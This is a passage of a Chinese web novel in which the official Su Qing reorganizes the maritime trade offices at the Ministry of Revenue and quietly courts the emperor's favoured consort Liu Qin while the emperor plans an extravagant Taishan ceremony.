成绩不好的,诸如广乐府惠容跟祁安平,他们两个文采学问不必说,可科举名次就很靠后,只因他们的文章不得皇上喜爱。 惠容跟祁安平就苏清安慰还好。 其他学问极好的进士就郁闷了。 名次差,还不被重用,别说心灰意冷了,不大骂朝廷就算好的。 眼前这十三个人,便是如此。 这会得了苏清的话,难免抱有希望。 倒是另外八个冷笑一声。 估计觉得苏清痴心妄想。 在地方上可以靠政绩说话,这里是京城。 苏清心道。 他们的想法,倒是跟太后想法一致。 觉得这里是京城,就一定要按照他们的那套规矩。 苏清似笑非笑,不理会他们的冷笑。 而此刻司务厅外面,又来了几个人。 正是户部下浙江司,山东司,福建司的三司主事。 他们所辖之地都有沿海港口。 此刻过来,正是为一件事。 市舶司! 沿海各地在京的同乡会都是一个想法。 苏大人去了户部,自然由她主持市舶司一事! 她虽不能亲自到各地市舶司管辖。 却能稳坐中央,调配各地市舶司建立! 这不比她留在某一地要好吗? 既然要管,那就全管了! 想来各地还不知道苏清如今的职位。 只要知道了,但凡想在市舶司上赚钱的衙门,都会上书请苏大人主持此事。 别人都不行啊! 只能让苏大人来! 第83章 浙江司,山东司,福建司,以及沿海各地。 本就是顺昌国纳税大户。 在户部,大家比的,不就是谁手底下地方纳税更多? 这样才算自己的政绩,才更有面子。 所以这三位主事在户部里面,算是极为重要的。 他们三人携手而来,还都是拜见苏参政,就连旁边赵参政都看过来。 其他官员甚是惶恐,赶紧拜见三位主事。 但人家三人眼中,只有苏大人。 “久闻苏大人名讳,今日终能一见。” “苏大人来了,有些事就好办了啊。” “苏参政是不是还未见尚书大人跟左右侍郎,一会我带着您过去吧。” 要说大家都是正四品的官,其实不必客气。 但福建司主事,甚至要自己做个领路的,可见他的殷切。 另外两人也上赶着开口。 多数人疑惑不解,只有少数聪明人察觉到风向。 赵参政则想到最近讨论的市舶司。 看来就是这件事了。 若苏清能领了这个差事,他们司务厅也会被重用的。 无数目光看向苏清,只听她道:“确实还未拜见尚书大人跟侍郎大人,还不知道今日朝会结束与否。” “还未。”一个书吏开口道。 他是前年福建某地乡试案首,去年进士排名仅有三百多。 但以他的聪明,已然明白些什么,继续道:“听说今日事务繁多,估计还要等等。” 听到他的口音,福建司逐渐微微点头:“是了,讨论的,正是市舶司建立。” 市舶司! 果然! 司务厅内瞬间热闹起来。 苏大人跟铮王爷在海万州平乱的时候,就有人提过市舶司的事。 当时苏清发现江南富商对此十分上心,自然究其原因。 皇上同样疑惑。 觉得这些人捐钱太快。 市舶司就是这个时候被提起来的。 还是那句话,海运一开,就必不可能被禁止。 而且顺昌国这么缺钱,重整市舶司只有好处。 不过这些话只是大家私下在说。 正式拿到朝堂上来议,这还是头一回。 毕竟牵扯到各地,总要挑个符合各方想法的人。 没想到,大家默契地选了苏清。 一个是她帮着平定海上盗贼。 二是人品可信,并无私心。 三是了解经济。 冲着这三点,就足以让多数人信服。 怪不得她被派到户部,原来不是随意指派。 而是这职位,就是在等着她啊。 方才对她议论纷纷的八个所谓进士,这会已经缩到角落里,根本不敢出声。 其实他们也知道,自己那些话是胡说的。 只是这么快被打脸,却是没想到。 但人家苏清根本不理会他们,只是跟浙江司,山东司,福建司主事说起自己的看法。 方才插话福建进士也说了几个观点,竟然也混到人家圈子里。 苏清又跟赵参政搭话,让另一个参政同样参与进来。 到户部还不到半个时辰,苏大人已然确定她在司务厅的地位。 最开始怪声怪气的八个人彻底被挤出屋子。 苏清作为此地唯一的女子,被众星捧月般围着。 只等下朝之后,户部尚书亲自召见。 如今的户部尚书已经六十七岁,历经三代皇帝,为人沉默寡言,很少发表自己的看法。 国库空虚,社稷动荡全都看在眼中。 散朝后,户部尚书跟吏部尚书对视一眼,皆从眼中看出无奈。 他们这些老臣子的,似乎真是老东西了。 他们看着顺昌国一步步走向如今。 好好的市舶司也是纷争不断。 若非出现一个苏清,只怕更难下定论。 但这苏清,是个女的啊。 以前哪有女的朝官的。 可皇上为了赚钱,什么都不管不顾了。 一时间,竟然弄不清。 是皇上短视更严重。 还是女子做官更严重。 算了,反正他们这些老东西都快死了。 顺昌国以后怎么样,跟他们并无太大关系。 正说着,只见铮王爷默默离开。 铮王爷每次上朝,皆一言不发,显然不打算搭理政务。 可他小时候,也是极聪明。 这点陶阁老最为清楚,陶阁老作为太傅,对当今皇上跟铮王爷都多有夸赞。 “走吧,去见见户部头一个女官。”户部尚书带着左右侍郎,颇有些无奈。 他们这边下朝,户部官署已经得到消息。 司务厅两位参政,浙江司,山东司,福建司三司主事,皆已经到了。 门口还有两名书吏跟着传话。 这些下属显然都是为了引荐苏清而来。 户部尚书胡子都气的翘起来。 这般如临大敌,难道是怕他做什么? 他虽然老了,但还没那样迂腐。 “聚这么多人做什么,没事做吗?”左右侍郎呵斥道。 众人摸摸鼻子。 这不是苏大人头一次面见长官,他们害怕出问题嘛。 好不容易有一个各方都满意的人。 真不能出问题。 但看尚书大人脸色,众人只好离开。 唯有两个书吏在门口等着。 苏清再次拜见尚书大人:“见过李尚书,下官乃新任司务厅参政苏清。” 户部尚书点点头:“进书房详谈吧。” 他也不是爱废话的人。 而且市舶司确实重要。 早一日开设,就能早一日收税。 在他有生之年,不求顺昌国能恢复往日昌盛,只要不垮台即可。 这话虽然有点晦气。 但却是他真实所想。 可看看现在朝廷官员。 不看真才实学,只看写贺表的能力。 这样出来的官员,谁能做事。 皇上只要忠心,他能理解。 但只有忠心,就剩滑稽了。 不过眼前的苏清,倒是不一样。 李尚书自然知道她是有能力的。 当年广乐府种种,都是她撑起来。 其实在那些老臣子心中,苏清的作用,远比大家想象还要大。 若不是她跟铮王爷守住广乐府,那武勇王爷的兵马必然南下。 整个顺昌国都会处于战火当中。 换了其他官员早跑了。 临危受命,还做到如此地步。 大家心里都有杆秤。 越是这样,皇上对她的心思就越恶心。 这般有能力的人,他想得到的,想利用的,却只有外貌。 李尚书听着左右侍郎同苏清交谈。 他们说的,自然是市舶司的事。 苏清心中,已然对市舶司有些想法。 “一个是剿匪,沿海一带水贼极多,海万州并非个例。” “二是修缮港口,海港荒废多年,想要开海运,这点必不可少。” “三是船只。” 苏清继续道:“早些年顺昌国内里经贸发达,国内货物都供不应求,故而海运并不算多,只算个添头。” “所以船只适合近海,如果想要大批量运送货物,造船也势在必行。” 李尚书开口:“这些事都需要银钱,市舶司还未成立,还未有进项,就先出银子,这不合适。” 本来就是因为朝廷缺钱,才把心思打到市舶司上。 没挣就掏口袋? 这不行的。 不止皇上不同意,李尚书也不同意。 因为国库真没钱。 所以不是苏清说的不对。 而是不符合现状。 苏清自然知道,她接下来要说的才是重点:“现在确实做不成。” “但我们要给海运行业信心。” 这才是市舶司成立的目的。 要告诉沿海各地的商人。 成立市舶司,不止是为了收你们的巨量税款。 也是保障你们的利益。 就说上面的三项,哪一个不是对海运真正有利的? 苏清直言:“朝廷成立市舶司并不不难。” “难的是让沿海富商们主动参与进来。” “都说剃头的挑子一头热。如今市舶司最大的问题,就是朝廷以及地方官员热心,真正要跑船运的商人们不搭理。” 苏清从地方上来。 还是从海万州过来的。 对当地情况自然清楚。 李尚书微微点头:“是了,到底是要收税,那些富商又善于避税。” 因为是在户部内里,大家说话也没什么顾忌。 市舶司只有官府赞同,势必会出现逃税的现象。 如今朝中对地方的监管渐渐失效,收不上税是常态,何况是这些富商的税。 这里就要拿广乐府举例子了。 去年的广乐府就没有给朝廷交税。 算是个典型的监管失效,地方不纳税的典范。 但他们那为何不交税。 还不是前年交了税,然后朝廷胡乱开销,还不给广乐府驻军拨军费。 让苏清恼了的。 故而去年说什么都不给,连带通民府等地有样学样。 现在位置相反。 苏清不再是地方纳税的人,而是收税的人。 自然也要担心因监管不力,地方不配合而出现的疏漏。 可她并没有一味强逼。 直接说明弊病。 那就是要收人家的税,就要做出相应的保障。 真当自己是地主老财,只收税,不干事? 方才的三点。 清水贼,修港口,建大船。 便是朝廷给出的保障。 双方必须相辅相成才是。 眼看苏清不仅说明原因,还未前年的自己开脱。 李尚书忍不住道:“你也知道,广乐府不交税,让各地有样学样。” 苏清摸摸鼻子。 这不是跟您解释吗。 苏清直言道:“今年的广乐府,大概率还是不交税的。” “那十六万驻军依旧是广乐府养。” 说白了。 朝廷什么时候能供给军队,给军中正常拨钱。 他们广乐府什么时候交税。 权责一致,否则她不会答应。 如果说方才在跟户部解释,为什么去年不交税。 那现在的意思也很明显,她虽然离开广乐府,广乐府很快也会有新知府。 但她苏清依旧能影响地方。 左右侍郎同时看向她,李尚书表情也差不多。 好个苏大人。 既有手腕,也有獠牙。 若非这般性格,倒也掌握不了偌大广乐府。 或者说,也掌握不了广乐府一带。 之前说什么,她来了京城,就没有依靠。 完全是个笑话。 她的功绩不会被抹除,反而因为她位置越来越高,从而越来越依赖她。 苏清离开南江县去做广乐府知府,难道南江县就失去掌控了? 她来到京城,也是一个道理。 若她真信了太后说的那些话,才是真的傻子。 她苏清才不是孤立无援。 但她愿意表现出那样一面,从而得到自己想要的。 只是在户部,就不用服软了。 左右侍郎这才意识到。 眼前的苏清虽是女子,年纪也不大。 可她是有真本事的。 再想想她对市舶司的建议,更是她这么多年做官的心得。 书房之内,气氛骤然一变。 不再说上司盘问下属,而是好好商议市舶司的事。 李尚书心里点头,嘴上道:“话是如此,国库没钱是事实。” 苏清都顿了下。 对啊! 说了半天,想要人家富商配合,咱们就要拿出实际的好处。 但国库就是没钱啊! 皇上也不会让晏铮州再去打仗。 这两点让人发愁。 他们户部的意见是统一了。 没钱就是没钱。 李尚书继续追问:“苏大人是否已经有好办法了。” 左右侍郎一愣,皆看向上司,又赶紧扭头听苏大人说话。 “有是有的。” “打仗跟修港口可以先放放。” “不如从船只下手。” “朝中故意造船,方便海运。” 李尚书笑:“这就是你说的,提升海运行业的信心。” 户部尚书在信心二字上加重语气。 左右侍郎这才反应过来。 苏大人方才讲的,确实是提升信心。 只是信心,并非实际的支持? “支持,又不止银钱。”苏清道,“发掘人才,给各地以便利,让海运通畅,也是支持。” 这句话看着简单,却只有朝廷能做到。 既然都在这个位置上了,便不能只提银子。 李尚书看着她。 这一批进士里面,他满意的人极少。 顶多一个顾从斯还算可以。 现在看来,这顾从斯也是不如苏清的。 她看问题的角度,跟那些庸才不同。 “此事就交给司务厅去办。”李尚书道,“你与赵参政拿个章程出来。” “去吧。” 李尚书的意思很明显。 他信任苏清,此事便交给她了。 同时,责任也是她的。 若做不好,那就别怪大家不给机会。 苏清笑着应下。 从尚书处离开,再回司务厅。 此刻在司务厅里站着的,就不是之前那八个纨绔进士了。 而是等着好消息,想要办差的进士们。 赵参政快步向前,眼里透着渴望。 苏清跟身后两个书吏都带着笑。 “市舶司的事,正式交给我们办了。” “赵参政,头一次合作,还请只教。” 在司务厅坐了多年冷板凳的赵参政狂喜。 苏大人一来,就给他们部门揽了个正在的差事。 怎么能不高兴! 以后谁再说他们这是清闲衙门,他们跟谁急! 其他官吏同样兴奋。 这么大的差事,就落到头上了! 不过这事还不能着急,苏清跟赵参政需要私下讨论,再吩咐诸位做事。 但跟在苏清身后的两个书吏跟着参加。 众所周知,户部的书吏都是进士,两人自然也不例外。 他们一个叫郭高杰,福建人士,另一个叫卫温韦,山东人士。 两人家乡都在沿海,故而也有优势。 虽是在一旁伺候笔墨,也让大家羡慕啊。 自己怎么就那么傻,不知道往前凑啊。 现在好了,赵参政身边本就有自己的长随,他们凑不上去。 苏大人身边也有人伺候左右了。 这哪是当长随,这分明是做左右手! 众人扼腕叹息,再看看已经不知所措的八个纨绔进士。 司务厅是被重视了。 但你们几个,是妥妥的被边缘化。 没看到苏大人都懒得理你们吗? 若这几个人家里知道情况,少不得等苏大人家门说情。 让大人原谅孩子们不懂事云云。 等着他们的,大概率是竹笋炒肉? 哎,谁让他们有眼不识泰山啊。 苏清对此并无感觉。 她跟赵参政正在商议市舶司的事。 市舶司自然不是首创,甚至本朝也有过,不过逐渐不重视,从而没落。 现在重振此地,自然要把之前的文档拿出来。 以原来的市舶司为框架,再根据现在实际情况一一改进。 赵参政听此,心彻底放到肚子里。 苏大人果然不是个一拍脑袋,就要整个新东西的。 依照旧制,取其精华,是最稳妥最快速的。 苏清主导,赵参政辅助。 接下来就是敲定章程,补充细节。 这不是一两日的事,所以今日小会开完,明日继续开大会。 苏清是个说话简洁的,不讲废话,只跟大家商议正事。 一连四五日,司务厅真正有能力的官吏脱颖而出。 在这期间,苏清在户部也有了自己的班底。 其中郭高杰卫温韦,就是她的左膀右臂。 但苏清以不方便为由,另请吏部调些女官过来。 这倒不是什么大事。 直接从京城各家女子中挑选即可。 反正宫里也有这个惯例。 唯一不同的,以前那些女官都去宫里,现在则是去官署。 要说人人都同意,自然不可能。 但苏清要求合情合理,而且都有女官了,再来几个女书吏又有什么。 反正现在最要紧的,就是市舶司,准确说是赚钱。 户部司务厅跟照磨所已经把顺昌国前四五十年的海运收入,以及前朝的海运收入整理出来。 那一笔笔数字,实在让人震惊。 就连皇上都说:“朕竟不知,市舶司一年收入,竟能占全年税收三分之一。” 放到现代,这或许是个众所周知的事。 但古代的信息不通畅,加上这些资料尘封已久。 若不是苏清请照磨所整理出来,大家只会知道海运挣钱,却不知道挣钱到这种地步。 有这些资料在,所有事情都要为苏清的市舶司让路。 京城各家有意做官的女眷立刻跟家人商议。 这可不是进宫,而是去官署。 依照苏大人的性格,她虽没有刻意提拔女子,但只要有能力的,都会给同样的机会。 说不得,她们就是下一个邬杉月或者祝芳洁。 各家对此,多也是支持态度。 谁家会嫌弃,家里多个当官的? 只恨不得男女老幼齐上阵。 苏清在京城的差事顺利。 同样也要照看广乐府那边。 广乐府的知府暂时还没定下,但她准备让武捕头先回去。 武捕头肯定不放心:“这怎么能行,京城情况复杂,大人您每次从当值回来,都有人在后面跟着。” 这些人倒不是要伤害苏清,而是要打探她的行踪。 他们甚至分属不同的势力,说句复杂,都是轻了的。 武捕头怎么可能在这个时候离开。 苏清明白这些事,但她更需要武捕头回广乐府办差:“新知府很快就到,文官方面有罗主簿跟邬户房,但差役方面只有你了。” “兵司的公良朗事情也多,柴总兵那边主要靠他联系。府城的差役只能你来调动。” 说到底,广乐府的基本盘是不能动的。 苏清肯定要让自己人过去。 甚至自己的家人也都在广乐府,绝对不能出差错。 武捕头只好答应,但他想了想道:“让武俊跟您左右吧,他在京城也认识不少了。” 武俊是武捕头的大儿子,跟着大军来到京城,甚至已经在京城成家立业,他成亲的时候,苏清还送过贺礼。 只是这样一来,就要从军中退了。 苏清思索片刻,开口道:“问问武俊的意思,不过我绝不勉强。” 武俊那边却直接答应。 他跟娘子商议过后,立刻从军中请辞,还带了几个好手,来做苏大人家的护院保镖。 不过他在军中的职位却暂时得以保留。 不用说,这肯定是晏铮州的手笔。 以他在军中的人脉,这些都是小事。 这些差事安排妥当,武捕头再三吩咐,才肯离开京城。 苏大人为了广乐府,实在牺牲太多。 他也会跟众人一起守好地方,绝对不会给大人拖后腿。 说起广乐府。 自然要提到前段时间给梅娘封诰命的事。 太后娘娘一开口,下面肯定抓紧去办。 这次正好跟武捕头同路。 把梅娘的诰命送到南江县。 四品诰命夫人,是梅娘做梦也没想到。 在她心中,能跟夫君儿女一起平安生活,就是最大的愿望。 夫君时候,她也会带着儿女好好过日子。 可女儿给她争来的诰命,怎么想怎么高兴。 靠着女儿得诰命。 一时间也成为不少妇人们的心愿,也成了女儿们的心愿。 京城这边也是如此。 据苏清所知,不少人逼着孩子读书,希望她们赶紧学富五车。 不管怎么样,送到她这里的六位女子,不仅读书识字,四书五经列女传等书也是读过的。 只是没处理过差事,手有些生,需要人带一带。 苏清默默看了看六个女孩子,全都是端庄娴雅,长得也好看。 再想想司务厅的年轻进士们。 别的不说,皇上对进士的倾向,除了会拍马屁,还有一条就是年轻。 苏清带着她们六人去了小书房,等房门关上,第一句话就是:“想要在这里待的长久,就不能谈办公室恋爱。” 啊?! 这是什么意思。 六位女官瞬间脸红。 看着比她们年纪大了两三岁,却也是没成婚的未婚女子。 怎么可以张口说这些。 倒是有个大胆的开口道:“是怕有损清誉吗?苏大人放心,我不会的,我就是想做女官。” 苏清好笑:“这跟清誉有什么关系。” 没关系吗? 苏清继续道:“因为这是办差,这是工作。既然工作就不能有私情。” “若隐私废公,我不会容忍。” “你们六个,也是京城上百女子里千挑万选出来的,走到这一步如此艰难。” “若因这种事离开,倒是挡了其他女子路。” “而且因为私情影响差事,你们猜猜,走的是你们,还是那些进士。” 其他的先不提。 最后一句话让六个人猛然摇摇头。 没错,出了事,先走的肯定是她们。 苏清意味深长道:“就因为环境脆弱,才要愈发小心。” “说不定还另有天地。” “再说了,你们刚出后宅,其实可以好好挑挑,见多了再说。” 多挑挑?! 苏清看出她们的表情,笑着道:“对啊,多挑挑,多看看。” 这好像也有道理? 被苏清秘密“培训”过的女官们,看向男同事的目光,难免多了审视跟打量。 审视多了,自然能看出很多问题。 不过这就不是苏清操心的事了。 位置已经给出来,能不能抓住就看她们的。 与此同时,五月十六,苏参政,赵参政两人拿着文书去见户部李尚书。 “先根据旧例设定框架,其他各司各职,一一调配。其职责略有调整。” “先在海万州开设新市舶司试点,根据当地情况进行调整,试行半年,若没什么大问题,再推广到其他各地。” 李尚书跟左右侍郎看完,并无其他意见。 剩下的,就不是苏清跟赵参政能参与的。 只等户部的文书递上来,再经内阁,皇上,以及吏部,工部,甚至礼部讨论。 其中关节之复杂难以言表。 苏清跟司务厅各位要随时待命,等着被召见回答问题。 沿海各地官府的奏章也如雪花般飞来。 此事终于提上日程! 这种好事,他们肯定要占得先机。 就算不为政绩,也要为银子。 反正皇上是这样想的。 为了国库充盈,也要赶紧促成的。 在他看来,竟然户部准备那般完善,直接全国开设即可。 不过最后还是依照苏清的意思,先在海万州试点。 这让扬州,海万州两地自然最为高兴。 京城其他人或许不明白。 但他们这边的人却知道,苏大人大概率考虑到,本地水贼清了大半。 在此地先设立市舶司,也是为大家安全考虑。 吏部为了海万州市舶司人选想破脑袋。 苏清自然也参与进去。 一个是从本地衙门调人,他们熟悉本地差事,更好做事。 再从多年没有升迁的官吏里面选。 吏部想安插自己的人,也被苏清一句话挡回去。 “这是头一个试运行的市舶司,若出了岔子,必然惊动朝野。” 反正她肯定会说出去的。 吏部官员见此,脸色很是难看。 最后送出去的官员团队,自然还有不少走后门的。 好在大部分都有经验,也有真才实学。 再说了,到了地方上能不能办成事,也要看他们的本事。 反正海万州那边,尤其是当地富商,都只听苏清的话。 他们的一举一动,苏清必然知晓。 确定好海万州官员名单,吏部跟户部又一个小会结束。 苏清带着众人从吏部离开。 吏部于大人看苏清的眼神越来越奇怪,见面也是直接扭头就走。 要说这于大人,大家也是知道的。 当初就是他怂恿顾家爹娘退亲,从而让苏清跟顾从斯没了婚约。 间接导致皇上计划失败。 所以这么多年,在朝中一直不升不降,很是尴尬。 苏清进京之后,更是无言说。 顾从斯从旁边路过,径直走向苏清,让于大人再次心梗。 “怎么了?”顾从斯明知故问。 苏清没有回答,反而问:“你过来做什么。” 顾从斯笑了下,又恢复平日的表情:“庆祝你这差事终于有进展,特来祝贺。” 也确实该祝贺。 官员名单下来,意味着已经有了进展。 接下来就看海万州市舶司如何办差。 以及他们市舶司的收入。 从五月初一到现在,不过二十多天个,就能有这样大的进展。 就是就是为着即将到来的收益。 收益可观,以后做事更加便利。 不行的话,就会有无数麻烦找上来。 出了官署后,顾从斯跟武俊等人打了招呼,陪着苏清回了住处。 这才道:“皇上对海万州期望颇高,盯着此项收益的人也很多,务必小心。” 期望颇高? 多高? 顾从斯比了个数字,让苏清都倒吸一口凉气。 多少?! 试行半年时间,想让海万州市舶司给他赚两百万?! 他想钱想疯了?! 苏清道:“不可能,你没见那边的海港,根本容纳不了多少大船。” “而且这些船并不算牢固,远航会有危险。” 这也是她千叮万嘱,轻易不要远行,先在附近做做贸易。 等船只质量起来,再往深海跑。 要说这世上,估计没人比她更想驶向深海的。 即便如此,苏清还是不允许他们冒进,船上是一条条人命。 但皇上想要市舶司赚这个数字。 那就是逼着他们去远海贸易。 否则利润不会有那样高。 顾从斯何尝不知,所以提前通风报信,让她做好准备。 苏清无语。 刚想说差事做的顺利。 皇上就来当搅屎棍。 估计是表情太过明显,顾从斯都笑了:“其实他知道这不成,不过太缺银子了。” 放在之前,顾从斯绝不会这么议论皇帝。 但常在皇上身边做事,他太明白皇上的想法。 苏清道:“还是修皇陵?” 顾从斯顿了下:“不止皇陵。” “他想去泰山封禅。” 苏清几乎不敢相信自己的耳朵。 去哪? 去干什么?! 就他啊? 泰山封禅,是自古有大功绩的帝王才能干的。 先不说今上有什么政绩。 就说皇上出行,岂止是劳民伤财四个大字能形容的?! 他疯了吗。 苏清觉得,她说话的底气都不足了,顾从斯下意识扶了她一下,就听苏清道:“他配吗。” 这话是真正的大逆不道。 可下面那句更能诛九族:“他有病。” 他们这些人辛辛苦苦搞什么市舶司,是给你泰山封禅的? “皇上久没有子嗣,故而心急,所以想泰山封禅,祈求上苍诞下孩子。”顾从斯说出实情。 苏清定定地看了看顾从斯。 泰山封禅,劳民伤财,为了子嗣。 确实是皇上能做出的事。 苏清欲言又止,似乎放弃讨论这件事。 等晚上晏铮州过来,不等他说话,苏清立刻道:“有没有办法,联系到沁贵人。” 晏铮州蹭了蹭顾从斯扶过的地方,开口道:“可以,要传递什么消息。” “不问原因?” 晏铮州显然是不问的,只帮她联系沁贵人。 深宫中的沁贵人得知苏大人要见她,猛然一惊。 见她做什么? 沁贵人不是头一次听到苏清的名字。 也不是头一次把两人名字联系到一起。 甚至两人还有些亲缘关系,这肯定不是巧合,而是有人故意为之。 一年前的沁贵人还在通民府泗昌县待嫁。 那会的通民府百姓日子都不好过,她家也是如此。 好在未婚夫族内有人在外做官,时常接济些,也会偶尔照顾照顾她家。 沁贵人的母亲还说,她娘家跟赵镇县苏家有些亲缘关系。 虽然隔了好几代,但总归有些联系的。 要不然去苏家讨些口粮度日。 他家有女儿在外面做大官,是不是就送东西回来。 这是沁贵人头一次听说苏清。 不过泗昌县距离赵镇县太远,家里根本没有盘缠动身。 在母亲又一次提起这事,倒是让未婚夫家里人知道。 那会是永晟六年六月,沁贵人记得格外清楚。 不多时,未婚夫族内做官的亲戚回到县里,专门来看了她。 当时并未察觉到什么异常。 因为更让她不能接受的事发生了。 未婚夫家同她爹娘讲,说皇上让亲信,也就是他们家亲戚遍寻美人。 没想到亲戚就看中了柳沁儿,想把她带到京城,以后进宫享受荣华富贵。 这样一来,全家不用挨饿受穷,更不会被县里恶霸欺负。 十七岁的柳沁儿听到这话,自然如晴天霹雳。 她不是备嫁吗。 怎么就要进京城,献给皇上。 而未婚夫家拿出来的三百两银子,足以让柳家动心。 不管母亲如何哀求。 柳沁儿跟未婚夫家解除婚约,再有专人教授礼仪歌舞,再送到京城。 让她没想到的是,那人还真把人送到皇宫了。 她当时跟七八个美人站在一起,皇上竟然一眼看中她,当晚也留下自己。 皇上的年纪比她想象中年轻,并非胡子花白的老头。 他脸色虽然苍白,却异常温柔,看向她的眼神带着不一样的兴味。 接下来的日子,柳沁儿都如做梦一般。 流水般的赏赐,各色珠宝首饰绫罗绸缎,都是她从未见过的。 皇上知道她不识字后,甚至要教她写字,还要教她读四书五经。 宫里没有皇后,她也不必向太后请安,每日不是吟诗作画,就是伴在皇上左右 一连好几个月,她都是宫中最受宠的妃子。 只是有一点,不能出去见人。 除了伺候的宫女太监外,她基本没见过任何人。 就算出门,也要遮住脸。 也就皇上身边的梁公公第一次看见她时,脸上带了震惊,不过很快收敛神色。 但想见她的人太多了。 尤其是后宫嫔妃,不仅想见她还想害她。 这些一一被皇上挡了去。 柳沁儿心里不仅有感激,更有倾慕。 尤其是皇上知道,她之前还有个退婚了的未婚夫,不仅没有计较,反而哈哈大笑,说退的好。 永晟六年七月入宫,直到十月份,她一直没有见过其他人。 直到十月初,皇上脸色格外难看,抬起她的脸,盯着她道:“从明天起,朕的汤药由你送到勤政殿。” “不用遮脸。” 刚开始,柳沁并不明白为什么要这样做。 直到朝臣们看到她的脸,脸上写满震惊。 尤其是顾状元看到她,明显带了愤怒。 以往见不到的其他后妃们,也陆陆续续出现了。 “难怪皇上不让你见人。” “原来是这样。” “好个宠妃,原来是这样的宠妃。” 柳沁这才把她跟苏清苏大人联系到一起。 原来是这样。 原来她的宠爱是这么来的。 要说恨苏大人吗? 也没有,她压根不认识什么苏清,只知道她是个好官。 在她被带离通民府的时,苏大人还惩治了通民府的恶霸,让他们不要再欺压百姓。 这样的官是很好的。 更多的,只是对皇上的失望。 哪个少女不怀春。 但这点失望,跟家人把她卖掉的失望相比,其实也还好。 所以她还能过下去,装作什么也不知道。 家里倒是给她来信。 说县里的恶霸都死了,他家还有田地了。 柳沁没有回信,反正跟她关系不大。 只要伺候好皇上,日子就能过。 她也不在乎像不像谁,只要人不死就行。 但让柳沁最恶心的事,却是今年发生的。 去年十月的事过后,皇上依旧宠幸她,还把她当宠妃。 这次更让她在千秋宴上献舞,还要秘密练习。 当时的她还不知道苏大人也会参加千秋宴,甚至是她跟铮王爷的庆功宴。 太恶心了。 柳沁头一次觉得,喜欢过这样一个人会这么恶心。 苏清静静听着柳沁说起过往,她的眼中已经带了热泪,但依旧装的风轻云淡:“多谢苏大人不计较,千秋宴上您若怪我,我真的无地自容。” “这又不是你的错。” 柳沁心里也想过这句话。 这不是她的错,也不是苏大人的错。 但听了这话,她心里好受多了。 只是苏大人见她,不止为这件事吧? 苏清只道:“皇上苦没有子嗣,若有妃子能给他生下一子半女就好了。” 可皇上嫔妃众多,都生不出来啊。 苏清没有再讲。 沁贵人很聪明的,她会想明白。 等她想明白的时候,就会找到自己。 哎,为了让皇上有个孩子,为了阻止他劳民伤财,还真不容易啊。 第84章 这日之后,苏清跟柳沁的联系逐渐多起来。 让柳沁惊喜的是。 她的日子也好上不少。 她在宫中虽是宠妃,但并无自己的人手,更不了解身边人的底细。 跟其他宫妃还是有很大区别。 但跟苏清交好,一向沉默的大太监之一齐内官暗暗跟她传递消息。 又送了几个没有底细的宫女太监,算是有了自己心腹。 不止如此。 她宫里有谁的底细,有谁的耳目,也全都一目了然。 这让柳沁睡了好几个安稳觉。 就连宫里诸多规矩,也终于有人教导。 宫外很多东西,同样能传递过来。 柳沁觉得,苏大人就像她的“娘家人”。 从此以后,在宫里宫外也有依靠了。 只是她也明白。 苏大人这样做,肯定有目的。 但自己暂时想不通。 苏清道:“如今你也识字,不如多看看史书。” 史书? 不是女则女戒? 苏清笑了下,并未多讲。 有些事不能着急。 总有一天会想通的。 这期间,海万州的市舶司终于成立。 根据汇报的情况来说。 为首的徐主事带着上上下下三十多官吏,已经入住前朝留下来的市舶司。 之前的官员能用的用,不能用的调到其他地方。 按照旧例,盘查海万州海港情况,统计当地船只,以及过往船只,确定航行路线,运输货物等等。 以后要从这个港口行走的船只,就要提前报备情况。 根据货物情况进行收税。 当然,市舶司也会给予保障,负责附近的海域安全,以及筹集资金修缮港口,负责海港内的安全等等。 这些话让海万州跟扬州富商们将信将疑。 更有些船商根本不理,已经去其他海港通船。 谁管你这那的。 只要能不交税就行。 谁知道交了税之后,你们要把银子用到什么地方。 也就只有扬州海万州两地船商咬咬牙,只能在这港口做买卖。 毕竟这里距离他们最近。 还有一少部分,则因为此地没有海盗,至少安全有保障,故而留在此地。 这些人里面,也有冲着苏清留下来的。 比如海万州石家跟扬州叶家。 作为少数在市舶司登记船只跟货物情况的两家,让市舶司徐主事颇为感动。 叶山鸣直接道:“若不是苏大人,我等也要换个海港的。” 叶山鸣自然是故意这样讲的。 他信任苏清的能力,可不是信任朝廷的能力。 话说的虽然直白,却不无道理。 甚至连海万州市舶司所有人都明白,他们能把事情办成,苏大人功不可没。 怪不得各地官府都让苏清管这件事。 要不是她牵头,这些富商们根本不会配合的。 消息从海万州传到京城。 苏清的地位自然更稳固,颇有些说一不二的感觉。 但最让苏清在船商之间立足的。 还是她之前派到海万州的造船工匠。 苏清共派去两拨人, 第一次是她刚到京城时,那时候还不知道她要升任户部。 却用自己的人脉关系,送了不少造船匠人过去。 第二次是做了户部司务厅参政,又跟工部协调,还从广乐府调人。 这些造船好手聚在海万州武器作坊,还真研究出东西。 苏清手下余云喜刘绿兰两人崭露头角。 也是年纪轻轻,就把武器作坊管的很好,更带着手底下工匠们设计出更好用的海船。 这跟之前凑合用的船只不同。 是既能保证航行距离,还能尽量保证船员安全的船只。 从这点就不难发现,苏大人从一开始,就在为他们海运行业考虑。 做的并非竭泽而渔的差事。 李尚书心道。 苏清说要给海运行业信心,原来信心都是她给的。 但不管怎么样,有她这样的安排。 海万州扬州两地就是信她。 其他各地船商也过来看情况。 都是做海上生意的,他们或许不在意船员们的安全,但在乎货物的安全啊。 也有人想把造船匠人挖过去。 可这武器作坊的管事,也就是这兄妹俩,一个比一个厉害。 对这些匠人好吃好喝伺候,还一口一个李工王工赵工。 说他们放在春秋战国,都能开创一门学说,以后必是船业的祖师爷。 这话说的众人喜笑颜开。 再想到苏清的管辖的广乐府官学,还养着诸子百家许多后人,神情反而严肃起来。 若真能成立一门学说,那意义可就不同了。 当然了,冲着他们如此敬重的态度,以及相对安全的环境,大家都不会走的。 其他地方什么样,他们不清楚。 但苏大人什么性格,大家能不知道吗。 让叶山鸣私下说。 在乱糟糟的的沿海各地 海万州的市舶司能做起来,全靠对苏清本人的信任。 无论这里的市舶司,还是京城参与这件事的人。 全都绕不开她。 不管怎么样,海万州市舶司总算开了个好头。 随着八艘大船离港,只等着货物运回之后,计算货物的价值。 根据货物清单跟船只预计行程。 只这八艘不算特别大的船,大概会有十万银子税收。 消息传到京城,户部众人极为高兴。 虽说十万两银子并不多,但这只是个开始。 而且只是海万州一家的税。 等到各地十二个市舶司开起来,税收必然不会低的。 国库空虚这样久。 终于有个盼头了。 唯有李尚书脸色不善。 苏清看着他的表情。 就明白李尚书深知皇上的想法。 